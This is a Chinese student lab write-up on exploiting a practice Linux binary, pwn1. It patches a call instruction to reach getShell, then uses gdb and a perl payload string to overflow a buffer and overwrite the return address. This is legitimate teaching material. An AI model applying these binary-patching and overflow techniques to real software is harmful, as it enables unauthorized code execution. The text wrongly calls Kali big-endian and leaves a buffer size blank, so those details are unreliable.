首页 > 代码库 > 20144306《网络对抗》PC平台逆向破解
20144306《网络对抗》PC平台逆向破解
实践目标
- 本次实践的对象是一个名为pwn1的linux可执行文件。
- 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
- 该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习三种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
实践三种方法
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode
- 这3种思路,基本代表现实情况中的3种攻击目标
- 运行原本不可访问的代码片段
- 强行修改程序执行流
- 以及注入运行任意代码。
基础知识
-
熟悉Linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等。
-
理解Bof的原理。
-
能看得懂汇编、机器指令、EIP、指令地址。
-
会使用gdb,vi。
具体的指令可以回到指导中查。
方法1:直接修改程序机器指令,改变程序执行流程
反汇编,了解pwn1可执行文件中的基本函数功能
- 键入指令:
objdump -d pwn1 | more
- 找到该程序的gershell、foo与main三个函数:foo函数功能为将用户输入的字符回显在屏幕上,getshell函数为打开一个可用Shell。
- 读汇编语言可知,程序通过main函数入口开始执行代码,执行到call处会跳转到foo函数,其中还有一个没有调用的getshell函数,显然如果程序正常执行,是不会运行getshell函数部分的,而我们就是要通过修改程序机器指令,让程序在执行到call处时转跳到getshell函数,达到改变程序执行流程的目的。
直接修改机器码
最基本的思路就是修改跳转地址,让main函数不再调用foo函数,转而调用getshell函数。观察如下代码:
root@KaliYL:~# objdump -d pwn1 | more
0804847d <getShell>:
804847d: 55 push %ebp
...
08048491 <foo>:
8048491: 55 push %ebp
...
080484af <main>:
...
80484b5: e8 d7 ff ff ff call 8048491 <foo>
80484ba: b8 00 00 00 00 mov $0x0,%eax
...
- 首先我们先看反汇编指令"call 8048491 ",是说这条指令将调用位于地址8048491处的foo函数,其对应机器指令为“e8 d7ffffff”,机器指令e8表示跳转,本来正常流程,此时此刻EIP的值应该是下条指令的地址,即80484ba,但一解释e8这条指令呢,CPU就会转而执行 “EIP + d7ffffff”这个位置的指令。
- 通过计算可以得到0x80484ba + 0xd7ffffff = 0x8048491,该位置的指令恰好是foo函数。
- 将上述计算式抽象出来可得:
call机器码 = 跳转地址 - 正常流程的下一个EIP
- 用windows计算器计算0x804847d-0x80484ba=?
- 结果为0xc3ffffff,则得到调用getshell函数的机器码为:
e8 c3 ff ff ff
- 接下来我们只需要修改机器码即可:
此处对pwn1进行了备份,我们将对备份文件pwn2进行操作。
-
- Step1:
vi pwn2
,用vim编辑器查看可执行文件pwn2,可以看到如下乱七八糟的车祸场景。
- Step1:
-
- Step2:
%! xxd
,键入前述指令查看其16进制表示,看起来就工整多了。
- Step2:
-
- Step3:
/e8 d7
,查询需要改动的机器码的位置,锁定后,按i
进入文本编辑模式,将其改为e8 c3
- Step3:
---->
-
- Step4:
%! xxd -r
,退出16进制模式(注意:此处如果直接以16进制形式保存退出,运行该文件会报错) - Step5:
:wq!
,保存并退出。
- Step4:
- 此时,我们可以再用反汇编指令查看其机器码,不难发现此时已经改变了原代码。
- 退出到终端,执行指令:
./pwn2
,结果如下:
策略2:通过构造输入参数,造成BOF攻击,改变程序执行流
原理
- 目标:触发getshell函数。
- 可执行文件正常运行是调用如下函数foo,这个函数有Buffer overflow漏洞。
- 在读入字符串时系统只预留了__字节的缓冲区,超出部分会造成溢出,我们需要覆盖返回地址。
确认输入字符串哪几个字符会覆盖到返回地址
接下来就来亲自体验一把溢出的感觉吧(先备份成pwn3)
- 经试发现,当输入达到28字节产生溢出
Segmentation fault
。
- 现在能明确该程序有溢出漏洞了,接下来我们接着往后输入,观察什么时候可以覆盖其返回地址,让程序调用完foo函数后走向getshell函数,就能达到目的了。在此,我们使用用GDB调试工具。
GDB调试,确认用什么值来覆盖返回地址
gdb pwn3
,进入调试,并输入一串可让其溢出的字符:
- 继续测试:
info r
,查看溢出时寄存器状态如下:
- 不难发现,此时“1234”覆盖了其新的eip,所以我们只需要将getshell的内存地址替换这4个字符,就可以达到程序向getshell函数转移的目的。
- 构造一串特殊的输入,由于getShell的内存地址是
0x0804847d
,而其对应的ASCII没有字符,所以我们通过一个简单的perl脚本语言来构造输入值。perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input
注意:kali系统采用的是大端法,所以构造内存地址时注意顺序,末尾的\0a
表示回车换行。
(cat input; cat) | ./pwn3
,将input文件作为输入,结果如下:
实践总结
- 本次实践我只尝试了前面两种方法,第一次实际操作BOF,之前都是只知道这个词,停留在理论层面上。
- 此次实验通过备份文件,利用2种不同的方法,达到了获取shell的目的,还是很有收获的。
- anyway,这个小训练还比较“平易近人”,真正的BOF是结合了shellcode编程与注入,OMG,学习的路还很长呀。
date:2017.3.9
by 20144306
20144306《网络对抗》PC平台逆向破解
声明:以上内容来自用户投稿及互联网公开渠道收集整理发布,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任,若内容有误或涉及侵权可进行投诉: 投诉/举报 工作人员会在5个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。